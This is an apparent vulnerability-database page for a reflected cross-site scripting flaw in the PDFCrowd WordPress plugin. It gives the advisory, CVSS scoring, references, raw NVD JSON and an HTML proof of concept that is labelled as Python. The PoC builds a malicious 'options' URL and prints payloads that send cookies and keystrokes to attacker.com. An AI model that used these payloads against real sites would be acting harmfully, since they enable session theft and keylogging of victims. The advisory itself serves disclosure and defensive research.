CVE-2026-0862

Description

The Save as PDF Plugin by PDFCrowd plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘options’ parameter in all versions up to, and including, 4.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. NOTE: Successful exploitation of this vulnerability requires that the PDFCrowd API key is blank (also known as "demo mode", which is the default configuration when the plugin is installed) or known.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Save as PDF Plugin by PDFCrowd <= 4.5.5 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Reflected XSS PoC for CVE-2026-0862 -->
<!-- Requires: PDFCrowd API key is blank (demo mode) -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-0862 PoC</title>
</head>
<body>
    <h3>CVE-2026-0862 Reflected XSS PoC</h3>
    <p>Target: WordPress with Save as PDF Plugin by PDFCrowd <= 4.5.5</p>
    
    <!-- Malicious URL that triggers the XSS -->
    <p><strong>Malicious URL:</strong></p>
    <code id="malicious-url"></code>
    
    <script>
        // Construct the malicious URL
        var targetBase = window.location.protocol + "//" + window.location.host + "/";
        var maliciousURL = targetBase + "?options=<img src=x onerror=alert('XSS漏洞已触发 - CVE-2026-0862')>";
        
        document.getElementById("malicious-url").textContent = maliciousURL;
        
        // Display attack explanation
        console.log("=== CVE-2026-0862 Attack Explanation ===");
        console.log("1. Attacker crafts a malicious URL with XSS payload in 'options' parameter");
        console.log("2. Attacker tricks victim into clicking the link");
        console.log("3. Server reflects unsanitized 'options' parameter in response");
        console.log("4. Browser executes injected JavaScript in victim's context");
        console.log("5. Attacker can steal cookies, session tokens, or perform actions as victim");
        
        // Example of more dangerous payload
        console.log("\n=== Potential Malicious Payloads ===");
        console.log("Cookie stealing: <img src=x onerror=\"document.location='https://attacker.com/steal?c='+document.cookie\">");
        console.log("Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/log?k='+e.key)}</script>");
    </script>
    
    <!-- Simulated attack scenario -->
    <script>
        // This simulates what would happen if the vulnerable parameter is reflected
        var simulatedPayload = '<img src=x onerror=alert("Reflected XSS - CVE-2026-0862")>';
        document.write('<p>Simulated vulnerable output: ' + simulatedPayload + '</p>');
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-0862
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-0862
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-0862/
[4] VulDB https://vuldb.com/cve/CVE-2026-0862
[5] https://plugins.trac.wordpress.org/changeset/3438577/save-as-pdf-by-pdfcrowd
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/74172fcb-7428-464a-89f1-f1f3af50e361?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-0862", "sourceIdentifier": "[email protected]", "published": "2026-01-24T16:15:52.697", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Save as PDF Plugin by PDFCrowd plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘options’ parameter in all versions up to, and including, 4.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. NOTE: Successful exploitation of this vulnerability requires that the PDFCrowd API key is blank (also known as \"demo mode\", which is the default configuration when the plugin is installed) or known."}, {"lang": "es", "value": "El plugin Save as PDF Plugin por PDFCrowd para WordPress es vulnerable a cross-site scripting reflejado a través del parámetro 'options' en todas las versiones hasta la 4.5.5, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes no autenticados inyecten scripts web arbitrarios en páginas que se ejecutan si logran engañar a un usuario para que realice una acción como hacer clic en un enlace. NOTA: La explotación exitosa de esta vulnerabilidad requiere que la clave API de PDFCrowd esté en blanco (también conocido como \"modo de demostración\", que es la configuración predeterminada cuando se instala el plugin) o sea conocida."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3438577/save-as-pdf-by-pdfcrowd", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/74172fcb-7428-464a-89f1-f1f3af50e361?source=cve", "source": "[email protected]"}]}}